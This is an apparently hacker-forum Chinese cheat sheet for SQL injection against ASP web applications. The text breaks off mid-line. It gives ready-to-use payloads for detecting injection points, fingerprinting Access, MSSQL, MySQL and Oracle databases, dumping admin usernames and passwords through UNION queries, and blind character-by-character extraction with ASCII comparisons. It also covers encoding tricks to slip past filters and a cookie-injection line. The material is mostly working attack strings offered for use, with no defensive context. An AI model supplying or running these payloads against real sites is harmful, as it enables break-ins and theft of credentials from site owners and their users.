BY围剿 制作整理 QQ386100725
一专业攻击
1 是否有漏洞
+And+1=1
+And+1=2
2 猜测表名
+and+(select+count(*)+from+admin)<>0
3 猜测列名
+and+(select+count(username)+from+admin)<>0
4 猜测帐号有多少
+and+(select+count(username)+from+admin)>1
5 猜测列名长度
+and+(select+top+1+len(username)+from+admin)>1
6猜测密码数字ASCII代码
+and+(select+top+1+asc(mid(username,3,1))+from+admin)>97
二快速攻击
一:判断是否存在注射点
1 是否有漏洞
1. ’报错
2. and 1=1 正常 and 1=2 出错
' and 1=1 and ''=' (字符型)
%’ and 1=1 and '%'=' (搜索型)
3. guzi.asp?id=36-0 asp?id=36-1(数字型)
guzi.asp?id=123'%2B' 页面正常 .asp?id=123'%2B'guzi 返回出错或者另外的页面(文本型)
4. ' and ''||'1'='1 返回正常 ' and ''||'1'='2 返回错误(Oracle数据库判断)
5. javascript:alert(document.cookie="id="+escape("参数 and 1=1")) (cookie)
6.or 1=1返回错误 or 1=2 返回正常
7.注射的内容转换再来提交
%20%61%6E%64%20%31%3D%31 (and 1=1)
%20%61%6E%64%20%31%3D%32 (and 1=2)
2 判断数据库类型:
access数据库:
1. asp?id=563%00 正常返回
2. 加个 ’ 报错内容中有“access”的文字
3. 加个 ’ 报错内容中有“Microsoft JET Database”
4. and exists(select count(*) from msysobjects)>0 返回权限不足
mssql数据库:
1. ;--返回正常页面
2. and exists(select count(*) from sysobjects)>0 返回正常页面
3. 报错内容中有 "SQL Server"
my
sql数据库:
1. /* 正常返回
2. %23 (#)
3. 报错中有“
mysql”的文字
Oracle数据库:
1. --正常返回
2. 报错中有ora"
3. and ''||'1'='1' 正常返回 and ''||'1'='2' 返回出错
3 access数据库注射
1.数字型支持联合:
order by n 判断下字段数 比如字段数是8
and 1=2 union select 1,2,3,4,5,6,7,8 from admin%00
判断是否存在admin这个表 以及爆出字段的位置
比如爆出来的是3 5 6
and 1=2 union union select 1,2,id,4,username,password,7,8 from admin%00
判断是否存在username pass
word id 的列名 如果正确 就会在页面上显示内容
and (select count(*) from admin)>1
and (select count(*) from admin)=2正常返回
说明有两条用户:
and 1=2 union union select 1,2,3,4,username,password,7,8 from admin where username<>'爆出来的用户名'%00
爆出了第二条用户名和密码;如果有更多条就在后面加 and username<>'xxxx'
注:where 是加条件 %00是access的注释
2.不支持联合(猜解):
and exists(select count(*) from admin)>0
判断是否存在admin这个表 返回正常就说明存在 不正常就换成其他的比如 user manage m
ember 这是靠平时收集的
and exists(select count(user) from admin)>0
存在admin这个表来猜是否存在user这个列名是否存在
and (select top 1 len(user) from admin)>3
and (select top 1 len(user) from admin)=4
返回正常说明user这个列里面 第一个内容的长度是4
and (select top 1 asc(mid(user,1,1)) from admin)=103
说明admin表user列里第一个字母转换为ASCII码是103
and (select top 1 asc(mid(user,2,1)) from admin)=117
说明admin表user列里第二个字母转换为ASCII码是117
and (select top 1 left(user) from admin)='guzi'
判断第一条内容是否是guzi
猜解第二条内容:
and (select top 1 len(user) from admin where user not in ('guzi'))>3
就是加个条件 用户名不是guzi
猜解第三条内容:
and (select top 1 len(user) from admin where user not in ('guzi','xxxx'))>3
注:len():是把里面的内容的长度提取出来
mid(xx,2,1): 是一次提取一个 然后把左边开始的第二个内容提取出来
left(): 是吧里面的内容全部提取出来
如果过滤了> < 我们可以区间判断语句比如:
and (select top 1 asc(min(user,1,1)) from admin) between 1 and 100
如果用户名是中文:
and (select t